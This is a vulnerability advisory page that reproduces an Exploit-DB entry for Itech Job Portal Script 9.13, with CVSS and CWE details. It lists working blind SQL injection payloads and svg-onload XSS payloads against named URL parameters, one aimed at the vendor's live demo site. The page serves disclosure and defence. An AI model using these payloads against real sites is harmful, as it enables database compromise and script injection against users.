Itech Job Portal Script - Multiple Vulnerabilities

vendor:

Itech Job Portal Script

by:

Yunus YILDIRIM (Th3GundY)

7,5

CVSS

HIGH

SQL Injections & Cross Site Scriptings (XSS)

89, 79

CWE

Product Name: Itech Job Portal Script

Affected Version From: 9.13

Affected Version To: 9.13

Patch Exists: NO

Related CWE: N/A

CPE: a:itechscripts:itech_job_portal_script

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2020

Itech Job Portal Script – Multiple Vulnerabilities

Multiple SQL Injections and Cross Site Scriptings (XSS) vulnerabilities have been discovered in Itech Job Portal Script version 9.13. An attacker can exploit these vulnerabilities to inject malicious SQL commands and execute malicious scripts in the browser of an unsuspecting user.

Mitigation:

Input validation and sanitization should be implemented to prevent malicious SQL commands and scripts from being executed.

Source

Exploit-DB raw data:

# Exploit Title 	:  Itech Job Portal Script - Multiple Vulnerabilities
# Author 		:  Yunus YILDIRIM (Th3GundY)
# Team 			:  CT-Zer0 (@CRYPTTECH) - https://www.crypttech.com
# Website 		:  http://www.yunus.ninja
# Contact 		:  yunusyildirim@protonmail.com

# Vendor Homepage 	: http://itechscripts.com/
# Software Link  	: http://itechscripts.com/job-portal-script/
# Vuln. Version	  	: 9.13
# Demo			: http://job-portal.itechscripts.com/


# # # #  DETAILS  # # # # 

SQL Injections :

# 1
http://localhost/career_advice_details.php?cid=5
    Parameter: cid (GET)
        Type: boolean-based blind
        Title: AND boolean-based blind - WHERE or HAVING clause
        Payload: cid=5' AND 7504=7504-- zpmu

        Type: AND/OR time-based blind
        Title: MySQL >= 5.0.12 OR time-based blind (comment)
        Payload: cid=5' OR SLEEP(5)#

# 2
http://localhost/news_details_us.php?nid=1
    Parameter: nid (GET)
        Type: boolean-based blind
        Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
        Payload: nid=1' RLIKE (SELECT (CASE WHEN (2796=2796) THEN 1 ELSE 0x28 END))-- WmMl

        Type: AND/OR time-based blind
        Title: MySQL >= 5.0.12 OR time-based blind
        Payload: nid=1' OR SLEEP(5)-- UoUN

# # # # # # # # # # # # # # # # # # # # # # # # 

Cross site scriptings (XSS) :

# 1
http://localhost/search_result_alluser.php?function="><svg/onload=prompt('CT-Zer0');>
    Parameter: function (GET)
    Payload: "><svg/onload=prompt('CT-Zer0');>

# 2
http://localhost/search_result_alluser.php?ind="><svg/onload=prompt('CT-Zer0');>
    Parameter: ind (GET)
    Payload: "><svg/onload=prompt('CT-Zer0');>

# 3
http://localhost/search_result_alluser.php?loc="><svg/onload=prompt('CT-Zer0');>
    Parameter: loc (GET)
    Payload: "><svg/onload=prompt('CT-Zer0');>

# 4
http://localhost/search_result_alluser.php?compid="><svg/onload=prompt('CT-Zer0');>
    Parameter: compid (GET)
    Payload: "><svg/onload=prompt('CT-Zer0');>

# 5
http://job-portal.itechscripts.com/search_result_alluser.php?days_chk="><svg/onload=prompt('CT-Zer0');>
    Parameter: days_chk (GET)
    Payload: "><svg/onload=prompt('CT-Zer0');>